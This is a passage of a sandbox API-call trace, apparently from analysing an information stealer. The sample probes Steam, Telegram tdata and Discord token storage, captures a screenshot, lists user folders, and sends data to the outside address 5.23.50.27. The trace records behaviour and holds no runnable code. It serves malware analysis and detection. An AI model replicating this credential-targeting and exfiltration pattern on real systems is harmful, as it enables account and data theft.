[0249.807] GetFileAttributesExW (in: lpFileName="C:\\portSession\\Unknown\\steamapps\\common" (normalized: "c:\\portsession\\unknown\\steamapps\\common"), fInfoLevelId=0x0, lpFileInformation=0x1db9ee20 | out: lpFileInformation=0x1db9ee20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0249.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ed00) returned 1 [0249.808] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="tdesktop.tg\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x1db9ec98 | out: phkResult=0x1db9ec98*=0x0) returned 0x2 [0249.813] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1db9e820, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0249.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ec70) returned 1 [0249.813] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1db9ed50 | out: lpFileInformation=0x1db9ed50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0249.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ec30) returned 1 [0249.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1db9ecf0 | out: SystemInformation=0x12da3098, ResultLength=0x1db9ecf0*=0x1cb30) returned 0x0 [0249.821] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1db9ecf0 | out: SystemInformation=0x12da3098, ResultLength=0x1db9ecf0*=0x1cb30) returned 0x0 [0249.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1db9ecf0 | out: SystemInformation=0x12da3098, ResultLength=0x1db9ecf0*=0x1cb30) returned 0x0 [0249.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1db9ecf0 | out: SystemInformation=0x12da3098, ResultLength=0x1db9ecf0*=0x1cb30) returned 0x0 [0249.827] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1db9e820, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0249.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ec70) returned 1 [0249.827] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1db9ed50 | out: lpFileInformation=0x1db9ed50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0249.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ec30) returned 1 [0249.830] CoTaskMemAlloc (cb=0x20c) returned 0x1d0af720 [0249.830] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1d0af720 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0249.831] CoTaskMemFree (pv=0x1d0af720) [0249.831] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1db9e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0249.831] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", nBufferLength=0x105, lpBuffer=0x1db9e940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", lpFilePart=0x0) returned 0x44 [0249.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ed90) returned 1 [0249.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\local storage\\leveldb"), fInfoLevelId=0x0, lpFileInformation=0x1db9ee70 | out: lpFileInformation=0x1db9ee70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0249.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ed50) returned 1 [0253.356] QueryPerformanceCounter (in: lpPerformanceCount=0x1db9e9e8 | out: lpPerformanceCount=0x1db9e9e8*=2838124754458) returned 1 [0253.357] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7cc [0253.358] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7d0 [0253.358] WSAConnect (in: s=0x7cc, name=0x2673460*(sa_family=2, sin_port=0x50, sin_addr="5.23.50.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0253.408] closesocket (s=0x7d0) returned 0 [0253.408] send (s=0x7cc, buf=0x2676410*, len=738, flags=0) returned 738 [0253.409] setsockopt (s=0x7cc, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0253.409] recv (in: s=0x7cc, buf=0x22d32b0, len=4096, flags=0 | out: buf=0x22d32b0*) returned 161 [0263.035] QueryPerformanceCounter (in: lpPerformanceCount=0x1db9e9e8 | out: lpPerformanceCount=0x1db9e9e8*=2839092679110) returned 1 [0263.037] select (in: nfds=0, readfds=0x26a2ea8, writefds=0x0, exceptfds=0x0, timeout=0x1db9e838*(tv_sec=0, tv_usec=0) | out: readfds=0x26a2ea8, writefds=0x0, exceptfds=0x0) returned 0 [0263.037] send (s=0x7cc, buf=0x26a48c8*, len=2811, flags=0) returned 2811 [0263.038] recv (in: s=0x7cc, buf=0x22d32b0, len=4096, flags=0 | out: buf=0x22d32b0*) returned 161 [0287.509] CoUninitialize () Thread: id = 264 os_tid = 0xc58 [0202.465] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0202.466] CoGetContextToken (in: pToken=0x1dc9f620 | out: pToken=0x1dc9f620) returned 0x0 [0202.466] IUnknown:QueryInterface (in: This=0x77dd40, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dc9f658 | out: ppvObject=0x1dc9f658*=0x77dd58) returned 0x0 [0202.467] IComThreadingInfo:GetCurrentThreadType (in: This=0x77dd58, pThreadType=0x1dc9f6c8 | out: pThreadType=0x1dc9f6c8*=0) returned 0x0 [0202.467] IUnknown:Release (This=0x77dd58) returned 0x1 [0202.467] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0202.467] CoUninitialize () [0202.467] RoInitialize () returned 0x1 [0202.467] RoUninitialize () returned 0x0 [0207.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DISPLAY", cchWideChar=7, lpMultiByteStr=0x1dc9eb00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DISPLAY", lpUsedDefaultChar=0x0) returned 7 [0207.783] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x180106a8 [0207.787] CoTaskMemFree (pv=0x0) [0207.787] CoTaskMemFree (pv=0x0) [0208.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\\\.\\DISPLAY1", cchWideChar=12, lpMultiByteStr=0x1dc9e740, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\\\.\\DISPLAY1", lpUsedDefaultChar=0x0) returned 12 [0208.185] EnumDisplaySettingsA (in: lpszDeviceName="\\\\.\\DISPLAY1", iModeNum=0xffffffff, lpDevMode=0x1dc9e7d8 | out: lpDevMode=0x1dc9e7d8) returned 1 [0208.199] GdiplusStartup (in: token=0x7ffaa2b0a940, input=0x1dc9d228, output=0x1dc9d2d8 | out: token=0x7ffaa2b0a940, output=0x1dc9d2d8) returned 0x0 [0208.419] GdipCreateBitmapFromScan0 (width=1440, height=900, stride=0, format=0x26200a, scan0=0x0, bitmap=0x1dc9ea98) returned 0x0 [0209.174] GdipGetImagePixelFormat (image=0x1e3f34f0, format=0x1dc9e9f8) returned 0x0 [0209.175] GdipGetImageGraphicsContext (image=0x1e3f34f0, graphics=0x1dc9ea58) returned 0x0 [0209.190] GdipGetDC (graphics=0x1e3f3d40, hdc=0x1dc9ea58) returned 0x0 [0209.793] BitBlt (hdc=0x6c01097e, x=0, y=0, cx=1440, cy=900, hdcSrc=0x180106a8, x1=0, y1=0, rop=0xcc0020) returned 1 [0210.574] GdipReleaseDC (graphics=0x1e3f3d40, hdc=0x6c01097e) returned 0x0 [0210.847] GetCursorInfo (in: pci=0x1dc9ea78 | out: pci=0x1dc9ea78) returned 1 [0211.036] CopyIcon (hIcon=0x10003) returned 0x2502ef [0211.223] GetIconInfo (in: hIcon=0x2502ef, piconinfo=0x1dc9e6b0 | out: piconinfo=0x1dc9e6b0) returned 1 [0211.232] GdipCreateBitmapFromHBITMAP (hbm=0x310506c8, hpal=0x0, bitmap=0x1dc9e690) returned 0x0 [0211.487] GdipGetImageHeight (image=0x1e3f4110, height=0x1dc9e6d8) returned 0x0 [0211.498] GdipGetImageWidth (image=0x1e3f4110, width=0x1dc9e6d8) returned 0x0 [0211.646] GdipDisposeImage (image=0x1e3f4110) returned 0x0 [0211.657] DeleteObject (ho=0xffffffffb305082d) returned 1 [0211.657] DeleteObject (ho=0x310506c8) returned 1 [0211.799] GetIconInfo (in: hIcon=0x2502ef, piconinfo=0x26b4df8 | out: piconinfo=0x26b4df8) returned 1 [0211.805] GetObjectW (in: h=0xffffffffb405082d, c=32, pv=0x26b4e28 | out: pv=0x26b4e28) returned 32 [0211.809] GdipCreateBitmapFromHBITMAP (hbm=0xffffffffb405082d, hpal=0x0, bitmap=0x1dc9e4d0) returned 0x0 [0211.811] GdipGetImageWidth (image=0x1e3f4110, width=0x1dc9e518) returned 0x0 [0211.811] GdipGetImageHeight (image=0x1e3f4110, height=0x1dc9e518) returned 0x0 [0211.811] GdipGetImagePixelFormat (image=0x1e3f4110, format=0x1dc9e518) returned 0x0 [0211.812] GdipBitmapLockBits (bitmap=0x1e3f4110, rect=0x1dc9e4c0, flags=0x1, format=0x22009, lockedBitmapData=0x26b4fa8) returned 0x0 [0211.813] GdipCreateBitmapFromScan0 (width=32, height=32, stride=0, format=0x26200a, scan0=0x0, bitmap=0x1dc9e508) returned 0x0 [0211.814] GdipBitmapLockBits (bitmap=0x1e3f58e0, rect=0x1dc9e4c0, flags=0x2, format=0x26200a, lockedBitmapData=0x26b5008) returned 0x0 [0211.816] RtlMoveMemory (in: Destination=0x1e3f60a0, Source=0x1e3f5680, Length=0x80 | out: Destination=0x1e3f60a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6120, Source=0x1e3f5600, Length=0x80 | out: Destination=0x1e3f6120) [0211.816] RtlMoveMemory (in: Destination=0x1e3f61a0, Source=0x1e3f5580, Length=0x80 | out: Destination=0x1e3f61a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6220, Source=0x1e3f5500, Length=0x80 | out: Destination=0x1e3f6220) [0211.816] RtlMoveMemory (in: Destination=0x1e3f62a0, Source=0x1e3f5480, Length=0x80 | out: Destination=0x1e3f62a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6320, Source=0x1e3f5400, Length=0x80 | out: Destination=0x1e3f6320) [0211.816] RtlMoveMemory (in: Destination=0x1e3f63a0, Source=0x1e3f5380, Length=0x80 | out: Destination=0x1e3f63a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6420, Source=0x1e3f5300, Length=0x80 | out: Destination=0x1e3f6420) [0211.816] RtlMoveMemory (in: Destination=0x1e3f64a0, Source=0x1e3f5280, Length=0x80 | out: Destination=0x1e3f64a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6520, Source=0x1e3f5200, Length=0x80 | out: Destination=0x1e3f6520) [0211.816] RtlMoveMemory (in: Destination=0x1e3f65a0, Source=0x1e3f5180, Length=0x80 | out: Destination=0x1e3f65a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6620, Source=0x1e3f5100, Length=0x80 | out: Destination=0x1e3f6620) [0211.816] RtlMoveMemory (in: Destination=0x1e3f66a0, Source=0x1e3f5080, Length=0x80 | out: Destination=0x1e3f66a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6720, Source=0x1e3f5000, Length=0x80 | out: Destination=0x1e3f6720) [0211.816] RtlMoveMemory (in: Destination=0x1e3f67a0, Source=0x1e3f4f80, Length=0x80 | out: Destination=0x1e3f67a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6820, Source=0x1e3f4f00, Length=0x80 | out: Destination=0x1e3f6820) [0211.816] RtlMoveMemory (in: Destination=0x1e3f68a0, Source=0x1e3f4e80, Length=0x80 | out: Destination=0x1e3f68a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6920, Source=0x1e3f4e00, Length=0x80 | out: Destination=0x1e3f6920) [0211.816] RtlMoveMemory (in: Destination=0x1e3f69a0, Source=0x1e3f4d80, Length=0x80 | out: Destination=0x1e3f69a0) [0211.816] RtlMoveMemory (in: Destination=0x1e3f6a20, Source=0x1e3f4d00, Length=0x80 | out: Destination=0x1e3f6a20) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6aa0, Source=0x1e3f4c80, Length=0x80 | out: Destination=0x1e3f6aa0) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6b20, Source=0x1e3f4c00, Length=0x80 | out: Destination=0x1e3f6b20) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6ba0, Source=0x1e3f4b80, Length=0x80 | out: Destination=0x1e3f6ba0) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6c20, Source=0x1e3f4b00, Length=0x80 | out: Destination=0x1e3f6c20) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6ca0, Source=0x1e3f4a80, Length=0x80 | out: Destination=0x1e3f6ca0) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6d20, Source=0x1e3f4a00, Length=0x80 | out: Destination=0x1e3f6d20) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6da0, Source=0x1e3f4980, Length=0x80 | out: Destination=0x1e3f6da0) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6e20, Source=0x1e3f4900, Length=0x80 | out: Destination=0x1e3f6e20) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6ea0, Source=0x1e3f4880, Length=0x80 | out: Destination=0x1e3f6ea0) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6f20, Source=0x1e3f4800, Length=0x80 | out: Destination=0x1e3f6f20) [0211.817] RtlMoveMemory (in: Destination=0x1e3f6fa0, Source=0x1e3f4780, Length=0x80 | out: Destination=0x1e3f6fa0) [0211.817] RtlMoveMemory (in: Destination=0x1e3f7020, Source=0x1e3f4700, Length=0x80 | out: Destination=0x1e3f7020) [0211.819] GdipBitmapUnlockBits (bitmap=0x1e3f4110, lockedBitmapData=0x26b4fa8) returned 0x0 [0211.819] GdipBitmapUnlockBits (bitmap=0x1e3f58e0, lockedBitmapData=0x26b5008) returned 0x0 [0211.819] GdipDisposeImage (image=0x1e3f4110) returned 0x0 [0211.819] DeleteObject (ho=0xffffffffb405082d) returned 1 [0211.819] DeleteObject (ho=0x320506c8) returned 1 [0211.839] DestroyCursor (hCursor=0x2502ef) returned 1 [0211.990] GdipGetImageWidth (image=0x1e3f58e0, width=0x1dc9ea58) returned 0x0 [0212.000] GdipGetImageHeight (image=0x1e3f58e0, height=0x1dc9ea58) returned 0x0 [0212.019] GdipDrawImageRectI (graphics=0x1e3f3d40, image=0x1e3f58e0, x=1136, y=75, width=32, height=32) returned 0x0 [0212.182] GdipDeleteGraphics (graphics=0x1e3f3d40) returned 0x0 [0212.399] GdipGetImageEncodersSize (numEncoders=0x1dc9e9b0, size=0x1dc9e9a8) returned 0x0 [0212.399] LocalAlloc (uFlags=0x0, uBytes=0x4f0) returned 0x1d0a9680 [0212.400] GdipGetImageEncoders (in: numEncoders=0x5, size=0x4f0, encoders=0x1d0a9680 | out: encoders=0x1d0a9680) returned 0x0 [0212.454] LocalFree (hMem=0x1d0a9680) returned 0x0 [0212.463] GdipSaveImageToStream (image=0x1e3f34f0, stream=0x80ffa0, clsidEncoder=0x1dc9ea28*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0212.945] GdipDisposeImage (image=0x1e3f34f0) returned 0x0 [0213.346] DeleteDC (hdc=0x180106a8) returned 1 [0216.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0216.962] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0216.962] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*" (normalized: "c:\\users\\default user\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0216.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea80) returned 1 [0216.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0216.969] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0216.970] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*" (normalized: "c:\\users\\default user\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0216.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea80) returned 1 [0216.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0216.978] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0216.978] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*" (normalized: "c:\\users\\public\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0216.979] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.979] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0216.979] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0216.979] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.979] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0216.980] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0216.980] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0216.980] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0216.980] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0216.980] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0216.980] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0216.981] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0216.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0216.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0216.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9eae0) returned 1 [0216.981] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1dc9e5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0216.981] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*" (normalized: "c:\\users\\public\\*"), lpFindFileData=0x1dc9e7f0 | out: lpFindFileData=0x1dc9e7f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, 